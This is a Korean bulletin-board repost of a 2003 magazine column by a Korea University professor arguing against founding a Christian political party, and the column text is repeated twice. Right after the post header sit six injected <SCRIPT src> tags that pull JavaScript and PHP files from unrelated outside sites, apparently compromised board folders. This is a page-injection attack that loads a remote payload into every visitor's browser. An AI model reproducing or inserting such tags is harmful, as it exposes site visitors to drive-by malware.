칼럼 기독교 정당, 절대로 안된다 (고세훈 교수)
페이지 정보
작성자 by 관리자 / 작성일03-11-22 20:29 / 조회 5,036 / 댓글 0본문
<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script> <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script> <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script> <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script> <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script> 기독교 정당, 절대로 안된다
(고세훈, 고려대학교 행정학과 교수)
대선을 치룬지 1년도 안됐는데, 이번엔 총선이 불과 몇 개월 앞으로 다가왔다. 민주주의가 발전한다는 것은 정치가 ‘아래’로부터 견제와 감시에 쉽게 노출된다는 것을 의미하고, 그럴수록 정치(인)가 사익(私益)을 탐할 가능성은 줄어들게 된다. 민주화가 진행될수록, 정치를 통해 이권을 챙기거나 치부(致富)를 획책하려는 정치인에게 정치란 그만큼 덜 매력적인 것이 될 수밖에 없다. 1987년의 ‘시민사회의 대폭발’을 민주화의 기점으로 삼는다면, 민주화가 시작된 지 벌써 16년의 세월이 흘렀다. 정치학자에 따라서는 한국민주주의가 (권위주의로부터) 이행(移行)의 단계를 넘어서 마침내 공고화(鞏固化)의 단계에 들어섰다고 단정하기도 한다. 이제는 과거의 권위주의 시절로 퇴행할 가능성이 별로 없어 보인다는 점에서 한국민주주의는 그만큼 발전했을지도 모르겠다. 그럼에도 불구하고, 정치권에 대한 시민적 원성과 분노는 가라앉을 줄 모르고 정치인에 대한 조소와 폄하는 이제 일상적 담론으로 자리잡고 있다. 정치는 분노의 대상일지언정, 정치인은 마냥 행복하고, 그럴수록 선거 때마다 몰아치는 정치열기는 한국을 변함없는 ‘정치의 나라’로 확인시킨다.
우리는 이미 정치가 편만(遍滿)해서 무엇을 하든 직간접적으로 정치와 조우(encounter)하지 않을 방도가 없는 현실을 살고 있거니와, 한국정치는 대학입시에서 아파트가격에 이르기까지 우리의 삶 구석구석에 영향을 미치고 있다. 당연히 이웃사랑과 하나님 나라의 회복이라는 ‘명령’을 이행하도록 부르심을 받은 이 땅의 모든 크리스천들에게 정치적 무관심이란 그 자체가 변명의 여지없는 부작위적 죄악이라 아니할 수 없다. 이러한 마당에 한국의 ‘정치열기’를 트집 잡을 필요는 없다. 문제는 2004년 총선을 앞둔 작금의 정치열기가 ‘아래’의 유권자가 아닌 주로 부패의 진원지인 ‘위’의 정치권에 의해 지펴지고 있다는 점이다. 정치가 냉소와 조롱의 대상으로 될 수록 정치적 무관심은 늘어가고, 국민이 탈정치화되거나 단지 선거를 위한 지지와 동원의 객체(客體)로만 간주될수록, 정치가 시민사회와 유리된 ‘그들만의 정치’로 전락할 것은 자명하다. 이러한 때에 한국의 크리스천들이 다양한 방식으로 정치적 관심을 고취하고 참여에의 길을 모색하는 것은 너무나 적절하고 필요한 일이 아닐 수 없다. 모든 크리스천들은 선한 정치를 위해 적극적으로 노력해야 하거니와, 선한 정치는 고통 받고 소외된 사람들의 삶을 위로하고 우리가 모르고 죄짓는 일을 반복하지 않도록 좋은 제도(법, 관행)를 마련함으로써 그 자체가 하나님 나라와 사랑의 회복을 위한 본래적 가치를 지닌다. 우리가 올바른 기독교적 세계관을 가진 사람들이 되도록 많이 정치에 참여함으로써 한국정치가 개혁되기를 바라는 것도 이 때문이다.
그러나 신학적으로 정치는 일반은총의 영역이다. 따라서 공의로운 정치를 만들기 위하여 반드시 기독교의 이름이 전면에 드러나거나 크리스천의 정체성이 요구되는 것은 아니다. 크리스천들이 공동체의 정의를 구현하기 위하여 다른 종교를 가진 사람들과 빈번히 연대해왔고 또 그래야 하는 것은 이 때문이다. 오히려 우리는, 종교적 근본주의자들처럼 신정정치(theocracy)를 꿈꾸거나 정치를 개인의 영적 구원의 장(場) 혹은 수단 정도로 활용하려는 것이 아니기 때문에, 개인이든 단체이든 기독교를 정치에 공식적으로 연결시키는 일은 가능하면 피해야 한다. 크리스천은 선거권, 피선거권을 행사하고, 특정 후보자를 지원하며, 혹은 정당에 가입할 수 있어야 하지만, 그러한 일은 철저하게 건전한 민주시민의 일원으로서 개인적 자격으로 행해져야 한다. 더욱이 교회 혹은 기독교단체나 교계지도자가 특정정당이나 후보자를 추천 혹은 지원하거나 특정 정치진영을 공개적으로 밝힘으로써 정치에 관여하는 일은 결코 바람직하지 못하다. 이런 점에서 최근 보수교계 일각과 몇몇 정치인들이 주도하는 기독교정당의 창당을 위한 움직임은 한국 기독교와 한국정치 모두를 위해 참으로 위험천만한 일이 아닐 수 없다.
우선 질문한다. 한국정치가 이처럼 개탄할만한 지경에 와 있는 이유가 기독정치인의 숫자가 적기 때문인가? 제16대 국회의원 273명 중 111명(41%)이 스스로 개신교 신자임을 고백하고 있거니와, 이는 전 인구에서 기독교인이 차지하는 비율(20-25%)를 거의 배 이상 넘어서는 수치이다. 오히려 그동안 국회의 파행적 운영에 앞장서거나, 각종 부패혐의에 연루된 정치인 가운데 상당수가 장로 아니면 집사라는 것은 이미 알만한 사람은 다 알고 있다. 왜 이들 ‘기독정치인’들은 자신이 속한 정파나 정당의 이익 혹은 개인적 이해관계를 분연히 떨치고 선한 정치의 실현을 위해 일치단결하여 나아가지 못하고, 피차를 향해 삿대질하고 반목하기를 믿지 않는 자들과 다름없이 반복하는가? 과연 기독정치인들의 이런 행태는 기독교정당이 없기 때문이며, 기독교정당은 이들을 돌연 ‘중생’(born again) 길로 인도할 것인가? 대답은 부정적일 수밖에 없다. 이와 관련하여 우리 기독교 유권자들은 이승만과 김영삼 전 대통령이 기독교인이었기 때문에 가슴 설렜었던 일을 부끄럽게 회상해야 한다. 오늘날에 비해 과거의 한국 대통령들은 ‘제왕적’으로 불릴 정도로 그 권한이 막강했다. 그런데 이 두 대통령은 한국 정치와 기독교를 위해 무엇을 남겼으며, 오늘날 이들에 대한 정치적 평가는 어떠한가? 만일 이들이 기독교정당의 대표였었다면 상황은 달라졌을까? 생각이 거기에 미치면, 오히려 모골이 송연해 진다.
정치는 매우 엄정한 것이어서 반드시 입장과 대안이 제시되어야 한다. 오늘날 우리는 노동문제, 재벌문제, 부동산문제, 남북문제 등 허다한 정치현안들에 둘러싸여 있다. 나는 한국의 기독정치인들이 이러한 문제에 대해 정당과 정파를 뛰어넘는 기독교적 대안을 제시하기 위해 노력했었다는 소문을 단 한 차례도 들어본 적이 없다. 이것은 물론 그들의 기독교적 양식과 정치적 식견과 일차적으로 관련 있을 터이지만, 문제는 보다 근본적인 데에 있다. 즉 현실정치의 쟁점들은 점차 복잡하고 다양한 양상을 띠어 가는데 반해, 성경은 이들 하나하나에 대한 이론(異論)의 여지없는 ‘기독교적’ 대안을 직접적으로 제시해 주지 않는다는 점이다. 선진국의 경우에도, 기독정치인들은, 심지어는 낙태나 동성애 혹은 복지문제와 같은 비교적 명백해 보이는 문제를 두고도, 자기가 소속된 정당과 정파에 따라, 비기독교인 동료들에 비해, 훨씬 더 공격적으로 ‘기독교적 양심을 걸고’ 피차 대립하고 싸우는 일이 비일비재하다. 한쪽에서 낙태와 동성애를 사탄의 행위로 규정하고 복지지출의 삭감을 소리 높이면, 다른 진영에선 낙태를 용인하고 동성애를 관용하며 복지증대를 위한 각종 법안을 앞장서서 홍보한다. 웅장한 건물에 비해 텅 빈 교회가 대변하듯이, 서유럽사회에서 신앙의 대상으로서의 기독교는 이미 사라진지 오래이다. 그곳에서 기독교정당들도 복음과는 무관한 보수정당일 뿐이거니와, 그들은 세속화의 산물이면서 또 기독교의 세속화를 부추 켰던 요인이었다. 그들의 전철을 밟을 것인가? 그나마 서유럽사회는 1천년 넘게 형성된 기독교‘윤리’가 있고, 세속의 합리적 문화가 뿌리를 내려왔다. 기독교윤리의 전통도 없고, 합리적 문화의 뿌리도 없는 한국적 상황에서, 기독교의 이름을 앞세우고 맹렬히 활동하는 무지와 독선이 시속(時俗)보다 더한 분열을 만방에 선전하는 형국은, 생각만으로도 끔찍하다.
사실 한국기독교는 정치 이전에, 그리고 현안에 대한 대안 이전에, 이미 종교적 수준에서 세계 종교사상 유례없을 정도로 수백개의 교파와 교단으로 이미 분열되어 있다. 또한, 한국기독교는, 최근 일련의 사태가 적나라하게 보여 주었듯이, 이념이나 계급 혹은 지역문제로 진보/보수, 영남/호남, 노동/반노동, 친미/반미 등으로 나뉜 채, ‘기독인의 양심을 걸고,’ 분열하고 반목하기를 밥먹듯한다. 이처럼 그 내부에서 이미 이기와 독단으로 피폐해 있는 한국의 교계 혹은 그 지도자들이, 기독교정치의 명분을 내건 채, 수많은 정치현안들을 둘러싸고 과연 어떤 모습을 보일지는 불을 보듯 뻔한 일이다.
혹시 기독교정당을 통해 기독교인 유권자가 대거 동원될 수 있을 것이라는 음험한 계산을 할지도 모르겠다. 그러나 그렇게 동원되는 기독인이란 우민정치를 위한 도구 혹은 희생자(victims)에 불과하기 쉽다. 교회에 출석한다는 것 혹은 기독교 신앙을 고백했다는 사실 자체는 정치적 자질과 전혀 무관한 일이며, 따라서 그 둘의, 인과관계는 말할 것도 없고, 상관관계 조차 암시하는 일도 매우 부적절하다. 후보자 선택의 기준이, 정책적 비전이나 정치적 자질 보다 기독교정당의 후보자라는 사실 자체 혹은 교회에의 출석 여부 혹은 장로나 집사냐 등 요인에 의해 암암리에 좌우될 때, 그 때 기독인은 이미 우민화되기 시작한 것이고, 따라서 그로부터 비롯된 정치는 이미 파시즘적 폭력의 길에 들어서 있기 십상이다. 역사는 정치가 기독교를 참칭(僭稱)할 때, 얼마나 많은 비극들이 있었는지를 웅변적으로 보여준다. 기독교정당 구상이 빠질 수 있는 가장 무서운 함정이다.
무엇보다 작금 보수교계를 중심으로 비롯되는 기독교정당 움직임이, 냉전과 이념논쟁이 종식되면서 이른바 정체성정치(identity politics)가 부상하는 세계사적 맥락과 연결된다는 점에서 우려를 금할 수 없다. 정체성정치란 인종, 종교, 언어 등 인간경험의 원초적이고 원시적 편견을 매개로 개개 행위자를 잠정적 정서집단에로 귀속시키고 ‘적대적 타자(the Other)’에 대한 증오를 부추키는 정치를 말한다. 그것의 종교적 양상은 이슬람이나 기독교 근본주의에서 가장 적절히 드러나고 있거니와, 최근 한국의 보수적 종교지도자들이 북한에 대해 보이는 적대의식이나 미국 부시행정부에 대해 보였던 광적인 친밀감이 모두 이러한 근본주의적 정서에 닿아있음은 물론이다. 이처럼 타협을 모르는 근본주의적 신앙과 사회의식이 기독교정당과 연결될 때, 기독교 내부가 진보/보수의 분열, 대립, 반목으로 영일이 없을 것은 물론이며 한국사회는 저마다 정치세력화하려는 종교들의 각축장으로 변하게 될 것이다.
해방이후 한국역사가 보여주듯이, 대내외적으로 스스로 기독교인임을 만천하에 공개한 가운데, 실정(失政)을 반복하는 일은, 마치 자동차에 십자가 표지를 붙이고 교통위반을 밥 먹듯이 해대는 경우와 다를 바 없다. 십자가나 기독교인이라는 표시는 부적(符籍)이 아니다. 우리는 교통위반을 하지 않기 위해서 반드시 십자가를 자동차에 부착해야 할 필요가 없는 것처럼, 좋은 정치를 위해서 반드시 기독교인임을 전면에 내걸어야 할 이유가 없는 것이다. 무엇 때문에 늘 넘어지는 자신의 문제를 기독교 전체로 확대시키는가? 사적이든 공적이든, 크리스천은 자신이 크리스천임을 광고함으로써 크리스천이 되는 것은 아니다. 크리스천은 자신의 사고와 행동이 비(非)크리스천의 그것과 다르다는 것을 구체적 삶 속에서 증거(witnessing)함으로써만, 즉 결과적으로만, 자신의 정체성을 드러내야 한다. 정치도 예외가 아니다. 기독교 정당을 향한 움직임은 정치적, 신학적 무지에서 비롯됐거나, 아니면 정치적 이해관계 때문에 기독교 대중을 호도하려는 사술(邪術)이기 십상이다.
물론 우리가 현실정치에서 기독교의 이름을 걸고 할 수 있는 일이 없는 것은 아니다. 우리는 정치가 명백한 악을 행할 때, 예컨대 빈민주적 권위주의를 지향하거나, 노예자와 같은 악법들을 용인하거나, 심지어 기독교가 아닌 타종교를 탄압할 때 조차도, 기독교의 이름을 걸고 정치에 저항해야 한다. 이런 점에서 한국기독교가 과거의 부당한 정권을 편들거나 암울한 현실 앞에서 침묵으로 일관함으로 세속의 지탄을 받아왔던 사실은 한국교회의 씻을 수 없는 오점이다. 그러면 기독교인의 정치참여는 어떠한 방식으로 이루어져야 하는가?
기독교인은 기독교정당을 만들거나 기독교의 이름을 전면에 내걸지 않고도, 다양한 수준과 방식으로 정치에 참여할 수 있다. 우선 우리는 기존의 정당을 통해 정치에의 참여를 모색할 수 있다. 문제는 모든 정당은 우리가 아무리 그것이 표방하는 이념과 정책에 동의할지라도, 불가피하게 정파와 이해관계에 따라 다양하게 얽혀있고, 선거승리, 즉 집권을 최대의 목표로 삼는 조직이라는 점을 인식하는 일이다. 따라서 우리의 ‘침투(permeation)와 설득(persuasion)’ 전략은 당선이나 집권이라는 목전의 이해관계에 따라 요동하지 않을 투철한 윤리적 자세와 전문성으로 무장한 것이어야 한다. 또한 우리는 교회 혹은 기독교시민단체를 통해 기독교윤리로 무장한 성숙한 정치지망생을 키워낼 수 있고, 그들로 하여금 정치권에 진입하도록 도와줄 수 있다. 이러한 작업은 훈련과정, 출마, 선거운동 등과 관련하여 매우 정교한 프로그램과 조직적, 재정적 후원을 요구할 것이다. 주의할 것은 그 때에도 정치지망생들에 대한 우리의 기대는 그들이 크리스천이기 때문이 아니라 건전한 민주시민으로서 정책과 정치의 비전을 수행할만한 강고한 의지와 자질을 갖추었다고 판단했기 때문이어야 한다. 건전한 시민단체에 회비를 내는(fee-paying) 회원으로 참가하는 것도 중요하다. 한국처럼 시민운동이 구체적 정책 뿐 아니라 정치의 기본골격을 바로 세우기 위해 그 역할을 감당해야 할 경우에는, 시민운동에 관심을 갖는 일 자체가 훌륭한 정치참여가 될 수 있다. 특히 재정적으로 취약한 한국의 시민단체들이 돈 문제로 타협함으로써 자신의 정체성을 잃지 않도록 정치적으로 각성한 기독교인들의 각별한 배려가 필요하다. 물론 모든 투표에 반드시 참여하는 일은 기본이고, 국회의원 사무실에 시간 날 때마다 전화하고 팩스넣는 등 정치를 감시하고 귀찮게 해야 할 뿐 아니라, 때로는 (일인)시위에도 적극 참여해야 한다. (尾)
* <빛과 소금>(2003/12/01)에 실린 칼럼입니다.
(고세훈, 고려대학교 행정학과 교수)
대선을 치룬지 1년도 안됐는데, 이번엔 총선이 불과 몇 개월 앞으로 다가왔다. 민주주의가 발전한다는 것은 정치가 ‘아래’로부터 견제와 감시에 쉽게 노출된다는 것을 의미하고, 그럴수록 정치(인)가 사익(私益)을 탐할 가능성은 줄어들게 된다. 민주화가 진행될수록, 정치를 통해 이권을 챙기거나 치부(致富)를 획책하려는 정치인에게 정치란 그만큼 덜 매력적인 것이 될 수밖에 없다. 1987년의 ‘시민사회의 대폭발’을 민주화의 기점으로 삼는다면, 민주화가 시작된 지 벌써 16년의 세월이 흘렀다. 정치학자에 따라서는 한국민주주의가 (권위주의로부터) 이행(移行)의 단계를 넘어서 마침내 공고화(鞏固化)의 단계에 들어섰다고 단정하기도 한다. 이제는 과거의 권위주의 시절로 퇴행할 가능성이 별로 없어 보인다는 점에서 한국민주주의는 그만큼 발전했을지도 모르겠다. 그럼에도 불구하고, 정치권에 대한 시민적 원성과 분노는 가라앉을 줄 모르고 정치인에 대한 조소와 폄하는 이제 일상적 담론으로 자리잡고 있다. 정치는 분노의 대상일지언정, 정치인은 마냥 행복하고, 그럴수록 선거 때마다 몰아치는 정치열기는 한국을 변함없는 ‘정치의 나라’로 확인시킨다.
우리는 이미 정치가 편만(遍滿)해서 무엇을 하든 직간접적으로 정치와 조우(encounter)하지 않을 방도가 없는 현실을 살고 있거니와, 한국정치는 대학입시에서 아파트가격에 이르기까지 우리의 삶 구석구석에 영향을 미치고 있다. 당연히 이웃사랑과 하나님 나라의 회복이라는 ‘명령’을 이행하도록 부르심을 받은 이 땅의 모든 크리스천들에게 정치적 무관심이란 그 자체가 변명의 여지없는 부작위적 죄악이라 아니할 수 없다. 이러한 마당에 한국의 ‘정치열기’를 트집 잡을 필요는 없다. 문제는 2004년 총선을 앞둔 작금의 정치열기가 ‘아래’의 유권자가 아닌 주로 부패의 진원지인 ‘위’의 정치권에 의해 지펴지고 있다는 점이다. 정치가 냉소와 조롱의 대상으로 될 수록 정치적 무관심은 늘어가고, 국민이 탈정치화되거나 단지 선거를 위한 지지와 동원의 객체(客體)로만 간주될수록, 정치가 시민사회와 유리된 ‘그들만의 정치’로 전락할 것은 자명하다. 이러한 때에 한국의 크리스천들이 다양한 방식으로 정치적 관심을 고취하고 참여에의 길을 모색하는 것은 너무나 적절하고 필요한 일이 아닐 수 없다. 모든 크리스천들은 선한 정치를 위해 적극적으로 노력해야 하거니와, 선한 정치는 고통 받고 소외된 사람들의 삶을 위로하고 우리가 모르고 죄짓는 일을 반복하지 않도록 좋은 제도(법, 관행)를 마련함으로써 그 자체가 하나님 나라와 사랑의 회복을 위한 본래적 가치를 지닌다. 우리가 올바른 기독교적 세계관을 가진 사람들이 되도록 많이 정치에 참여함으로써 한국정치가 개혁되기를 바라는 것도 이 때문이다.
그러나 신학적으로 정치는 일반은총의 영역이다. 따라서 공의로운 정치를 만들기 위하여 반드시 기독교의 이름이 전면에 드러나거나 크리스천의 정체성이 요구되는 것은 아니다. 크리스천들이 공동체의 정의를 구현하기 위하여 다른 종교를 가진 사람들과 빈번히 연대해왔고 또 그래야 하는 것은 이 때문이다. 오히려 우리는, 종교적 근본주의자들처럼 신정정치(theocracy)를 꿈꾸거나 정치를 개인의 영적 구원의 장(場) 혹은 수단 정도로 활용하려는 것이 아니기 때문에, 개인이든 단체이든 기독교를 정치에 공식적으로 연결시키는 일은 가능하면 피해야 한다. 크리스천은 선거권, 피선거권을 행사하고, 특정 후보자를 지원하며, 혹은 정당에 가입할 수 있어야 하지만, 그러한 일은 철저하게 건전한 민주시민의 일원으로서 개인적 자격으로 행해져야 한다. 더욱이 교회 혹은 기독교단체나 교계지도자가 특정정당이나 후보자를 추천 혹은 지원하거나 특정 정치진영을 공개적으로 밝힘으로써 정치에 관여하는 일은 결코 바람직하지 못하다. 이런 점에서 최근 보수교계 일각과 몇몇 정치인들이 주도하는 기독교정당의 창당을 위한 움직임은 한국 기독교와 한국정치 모두를 위해 참으로 위험천만한 일이 아닐 수 없다.
우선 질문한다. 한국정치가 이처럼 개탄할만한 지경에 와 있는 이유가 기독정치인의 숫자가 적기 때문인가? 제16대 국회의원 273명 중 111명(41%)이 스스로 개신교 신자임을 고백하고 있거니와, 이는 전 인구에서 기독교인이 차지하는 비율(20-25%)를 거의 배 이상 넘어서는 수치이다. 오히려 그동안 국회의 파행적 운영에 앞장서거나, 각종 부패혐의에 연루된 정치인 가운데 상당수가 장로 아니면 집사라는 것은 이미 알만한 사람은 다 알고 있다. 왜 이들 ‘기독정치인’들은 자신이 속한 정파나 정당의 이익 혹은 개인적 이해관계를 분연히 떨치고 선한 정치의 실현을 위해 일치단결하여 나아가지 못하고, 피차를 향해 삿대질하고 반목하기를 믿지 않는 자들과 다름없이 반복하는가? 과연 기독정치인들의 이런 행태는 기독교정당이 없기 때문이며, 기독교정당은 이들을 돌연 ‘중생’(born again) 길로 인도할 것인가? 대답은 부정적일 수밖에 없다. 이와 관련하여 우리 기독교 유권자들은 이승만과 김영삼 전 대통령이 기독교인이었기 때문에 가슴 설렜었던 일을 부끄럽게 회상해야 한다. 오늘날에 비해 과거의 한국 대통령들은 ‘제왕적’으로 불릴 정도로 그 권한이 막강했다. 그런데 이 두 대통령은 한국 정치와 기독교를 위해 무엇을 남겼으며, 오늘날 이들에 대한 정치적 평가는 어떠한가? 만일 이들이 기독교정당의 대표였었다면 상황은 달라졌을까? 생각이 거기에 미치면, 오히려 모골이 송연해 진다.
정치는 매우 엄정한 것이어서 반드시 입장과 대안이 제시되어야 한다. 오늘날 우리는 노동문제, 재벌문제, 부동산문제, 남북문제 등 허다한 정치현안들에 둘러싸여 있다. 나는 한국의 기독정치인들이 이러한 문제에 대해 정당과 정파를 뛰어넘는 기독교적 대안을 제시하기 위해 노력했었다는 소문을 단 한 차례도 들어본 적이 없다. 이것은 물론 그들의 기독교적 양식과 정치적 식견과 일차적으로 관련 있을 터이지만, 문제는 보다 근본적인 데에 있다. 즉 현실정치의 쟁점들은 점차 복잡하고 다양한 양상을 띠어 가는데 반해, 성경은 이들 하나하나에 대한 이론(異論)의 여지없는 ‘기독교적’ 대안을 직접적으로 제시해 주지 않는다는 점이다. 선진국의 경우에도, 기독정치인들은, 심지어는 낙태나 동성애 혹은 복지문제와 같은 비교적 명백해 보이는 문제를 두고도, 자기가 소속된 정당과 정파에 따라, 비기독교인 동료들에 비해, 훨씬 더 공격적으로 ‘기독교적 양심을 걸고’ 피차 대립하고 싸우는 일이 비일비재하다. 한쪽에서 낙태와 동성애를 사탄의 행위로 규정하고 복지지출의 삭감을 소리 높이면, 다른 진영에선 낙태를 용인하고 동성애를 관용하며 복지증대를 위한 각종 법안을 앞장서서 홍보한다. 웅장한 건물에 비해 텅 빈 교회가 대변하듯이, 서유럽사회에서 신앙의 대상으로서의 기독교는 이미 사라진지 오래이다. 그곳에서 기독교정당들도 복음과는 무관한 보수정당일 뿐이거니와, 그들은 세속화의 산물이면서 또 기독교의 세속화를 부추 켰던 요인이었다. 그들의 전철을 밟을 것인가? 그나마 서유럽사회는 1천년 넘게 형성된 기독교‘윤리’가 있고, 세속의 합리적 문화가 뿌리를 내려왔다. 기독교윤리의 전통도 없고, 합리적 문화의 뿌리도 없는 한국적 상황에서, 기독교의 이름을 앞세우고 맹렬히 활동하는 무지와 독선이 시속(時俗)보다 더한 분열을 만방에 선전하는 형국은, 생각만으로도 끔찍하다.
사실 한국기독교는 정치 이전에, 그리고 현안에 대한 대안 이전에, 이미 종교적 수준에서 세계 종교사상 유례없을 정도로 수백개의 교파와 교단으로 이미 분열되어 있다. 또한, 한국기독교는, 최근 일련의 사태가 적나라하게 보여 주었듯이, 이념이나 계급 혹은 지역문제로 진보/보수, 영남/호남, 노동/반노동, 친미/반미 등으로 나뉜 채, ‘기독인의 양심을 걸고,’ 분열하고 반목하기를 밥먹듯한다. 이처럼 그 내부에서 이미 이기와 독단으로 피폐해 있는 한국의 교계 혹은 그 지도자들이, 기독교정치의 명분을 내건 채, 수많은 정치현안들을 둘러싸고 과연 어떤 모습을 보일지는 불을 보듯 뻔한 일이다.
혹시 기독교정당을 통해 기독교인 유권자가 대거 동원될 수 있을 것이라는 음험한 계산을 할지도 모르겠다. 그러나 그렇게 동원되는 기독인이란 우민정치를 위한 도구 혹은 희생자(victims)에 불과하기 쉽다. 교회에 출석한다는 것 혹은 기독교 신앙을 고백했다는 사실 자체는 정치적 자질과 전혀 무관한 일이며, 따라서 그 둘의, 인과관계는 말할 것도 없고, 상관관계 조차 암시하는 일도 매우 부적절하다. 후보자 선택의 기준이, 정책적 비전이나 정치적 자질 보다 기독교정당의 후보자라는 사실 자체 혹은 교회에의 출석 여부 혹은 장로나 집사냐 등 요인에 의해 암암리에 좌우될 때, 그 때 기독인은 이미 우민화되기 시작한 것이고, 따라서 그로부터 비롯된 정치는 이미 파시즘적 폭력의 길에 들어서 있기 십상이다. 역사는 정치가 기독교를 참칭(僭稱)할 때, 얼마나 많은 비극들이 있었는지를 웅변적으로 보여준다. 기독교정당 구상이 빠질 수 있는 가장 무서운 함정이다.
무엇보다 작금 보수교계를 중심으로 비롯되는 기독교정당 움직임이, 냉전과 이념논쟁이 종식되면서 이른바 정체성정치(identity politics)가 부상하는 세계사적 맥락과 연결된다는 점에서 우려를 금할 수 없다. 정체성정치란 인종, 종교, 언어 등 인간경험의 원초적이고 원시적 편견을 매개로 개개 행위자를 잠정적 정서집단에로 귀속시키고 ‘적대적 타자(the Other)’에 대한 증오를 부추키는 정치를 말한다. 그것의 종교적 양상은 이슬람이나 기독교 근본주의에서 가장 적절히 드러나고 있거니와, 최근 한국의 보수적 종교지도자들이 북한에 대해 보이는 적대의식이나 미국 부시행정부에 대해 보였던 광적인 친밀감이 모두 이러한 근본주의적 정서에 닿아있음은 물론이다. 이처럼 타협을 모르는 근본주의적 신앙과 사회의식이 기독교정당과 연결될 때, 기독교 내부가 진보/보수의 분열, 대립, 반목으로 영일이 없을 것은 물론이며 한국사회는 저마다 정치세력화하려는 종교들의 각축장으로 변하게 될 것이다.
해방이후 한국역사가 보여주듯이, 대내외적으로 스스로 기독교인임을 만천하에 공개한 가운데, 실정(失政)을 반복하는 일은, 마치 자동차에 십자가 표지를 붙이고 교통위반을 밥 먹듯이 해대는 경우와 다를 바 없다. 십자가나 기독교인이라는 표시는 부적(符籍)이 아니다. 우리는 교통위반을 하지 않기 위해서 반드시 십자가를 자동차에 부착해야 할 필요가 없는 것처럼, 좋은 정치를 위해서 반드시 기독교인임을 전면에 내걸어야 할 이유가 없는 것이다. 무엇 때문에 늘 넘어지는 자신의 문제를 기독교 전체로 확대시키는가? 사적이든 공적이든, 크리스천은 자신이 크리스천임을 광고함으로써 크리스천이 되는 것은 아니다. 크리스천은 자신의 사고와 행동이 비(非)크리스천의 그것과 다르다는 것을 구체적 삶 속에서 증거(witnessing)함으로써만, 즉 결과적으로만, 자신의 정체성을 드러내야 한다. 정치도 예외가 아니다. 기독교 정당을 향한 움직임은 정치적, 신학적 무지에서 비롯됐거나, 아니면 정치적 이해관계 때문에 기독교 대중을 호도하려는 사술(邪術)이기 십상이다.
물론 우리가 현실정치에서 기독교의 이름을 걸고 할 수 있는 일이 없는 것은 아니다. 우리는 정치가 명백한 악을 행할 때, 예컨대 빈민주적 권위주의를 지향하거나, 노예자와 같은 악법들을 용인하거나, 심지어 기독교가 아닌 타종교를 탄압할 때 조차도, 기독교의 이름을 걸고 정치에 저항해야 한다. 이런 점에서 한국기독교가 과거의 부당한 정권을 편들거나 암울한 현실 앞에서 침묵으로 일관함으로 세속의 지탄을 받아왔던 사실은 한국교회의 씻을 수 없는 오점이다. 그러면 기독교인의 정치참여는 어떠한 방식으로 이루어져야 하는가?
기독교인은 기독교정당을 만들거나 기독교의 이름을 전면에 내걸지 않고도, 다양한 수준과 방식으로 정치에 참여할 수 있다. 우선 우리는 기존의 정당을 통해 정치에의 참여를 모색할 수 있다. 문제는 모든 정당은 우리가 아무리 그것이 표방하는 이념과 정책에 동의할지라도, 불가피하게 정파와 이해관계에 따라 다양하게 얽혀있고, 선거승리, 즉 집권을 최대의 목표로 삼는 조직이라는 점을 인식하는 일이다. 따라서 우리의 ‘침투(permeation)와 설득(persuasion)’ 전략은 당선이나 집권이라는 목전의 이해관계에 따라 요동하지 않을 투철한 윤리적 자세와 전문성으로 무장한 것이어야 한다. 또한 우리는 교회 혹은 기독교시민단체를 통해 기독교윤리로 무장한 성숙한 정치지망생을 키워낼 수 있고, 그들로 하여금 정치권에 진입하도록 도와줄 수 있다. 이러한 작업은 훈련과정, 출마, 선거운동 등과 관련하여 매우 정교한 프로그램과 조직적, 재정적 후원을 요구할 것이다. 주의할 것은 그 때에도 정치지망생들에 대한 우리의 기대는 그들이 크리스천이기 때문이 아니라 건전한 민주시민으로서 정책과 정치의 비전을 수행할만한 강고한 의지와 자질을 갖추었다고 판단했기 때문이어야 한다. 건전한 시민단체에 회비를 내는(fee-paying) 회원으로 참가하는 것도 중요하다. 한국처럼 시민운동이 구체적 정책 뿐 아니라 정치의 기본골격을 바로 세우기 위해 그 역할을 감당해야 할 경우에는, 시민운동에 관심을 갖는 일 자체가 훌륭한 정치참여가 될 수 있다. 특히 재정적으로 취약한 한국의 시민단체들이 돈 문제로 타협함으로써 자신의 정체성을 잃지 않도록 정치적으로 각성한 기독교인들의 각별한 배려가 필요하다. 물론 모든 투표에 반드시 참여하는 일은 기본이고, 국회의원 사무실에 시간 날 때마다 전화하고 팩스넣는 등 정치를 감시하고 귀찮게 해야 할 뿐 아니라, 때로는 (일인)시위에도 적극 참여해야 한다. (尾)
* <빛과 소금>(2003/12/01)에 실린 칼럼입니다.